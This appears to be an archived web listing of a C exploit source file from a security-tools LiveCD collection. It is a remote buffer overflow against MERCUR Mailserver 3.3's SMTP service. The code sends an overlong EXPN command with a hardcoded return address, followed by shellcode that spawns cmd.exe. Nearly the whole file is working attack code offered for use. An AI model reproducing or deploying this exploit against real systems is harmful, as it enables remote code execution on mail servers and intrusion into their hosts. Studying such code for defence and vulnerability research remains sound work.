home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / mercur / mercur33exploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  1KB  |  79 lines

  1. /*
  2.  MERCUR Mailserver 3.3 Remote Buffer Overflow
  3.  Tested on Win2K AS SP1 with MERCUR SMTP-
  4. Server v3.30.03
  5.  Martin Rakhmanoff
  6.  martin@direct.spb.ru
  7. */
  8.  
  9. #include <winsock2.h>
  10. #include <stdio.h>
  11.  
  12. /* \x63\x6D\x64\x2E\x65\x78\x65 - simply 'cmd.exe' */
  13. char shellcode[] =
  14.  "\x8B\xC4\x83\xC0\x17\x50\xB8\x0E\xB5\xE9\x77
  15. \xFF\xD0\x33\xDB\x53"
  16.  "\xB8\x2D\xF3\xE8\x77\xFF\xD0\x63\x6D\x64
  17. \x2E\x65\x78\x65\x0D\x0A";
  18. /*
  19. In SoftICE bpx 001b:00418b65 - here eip is restored
  20. with overwritten
  21. value...
  22. */
  23.  
  24. int main(int argc, char * argv[]){
  25.  
  26.  int i;
  27.  char sploit[512];
  28.  char buffer[512];
  29.  
  30.  WSADATA wsaData;
  31.  SOCKET  sock;
  32.  struct sockaddr_in server;
  33.  struct hostent *hp;
  34.  
  35.  WSAStartup(0x202,&wsaData);
  36.  hp = gethostbyname("arena");
  37.  memset(&server,0,sizeof(server));
  38.  memcpy(&(server.sin_addr),hp->h_addr,hp-
  39. >h_length);
  40.  server.sin_family = hp->h_addrtype;
  41.  server.sin_port = htons(25);
  42.  sock = socket(AF_INET,SOCK_STREAM,0);
  43.  connect(sock,(struct sockaddr*)&server,sizeof
  44. (server));
  45.  
  46.  sploit[0]='E';
  47.  sploit[1]='X';
  48.  sploit[2]='P';
  49.  sploit[3]='N';
  50.  sploit[4]=0x20;
  51.  
  52.  
  53.  for(i=5;i<137;i++){
  54.   sploit[i]=0x41;
  55.  }
  56.  
  57.  // Return address
  58.  //77E87D8B
  59.  
  60.  sploit[137]=0x8B;
  61.  sploit[138]=0x89;
  62.  sploit[139]=0xE8;
  63.  sploit[140]=0x77;
  64.  
  65.  for(i=0;i<sizeof(shellcode);i++){
  66.   sploit[i+141]=shellcode[i];
  67.  }
  68.  
  69.  recv(sock,buffer,512,0);
  70.  
  71.  send(sock,sploit,173,0);
  72.  
  73.  closesocket(sock);
  74.  WSACleanup();
  75.  
  76.  return 0;
  77. }
  78.  
  79.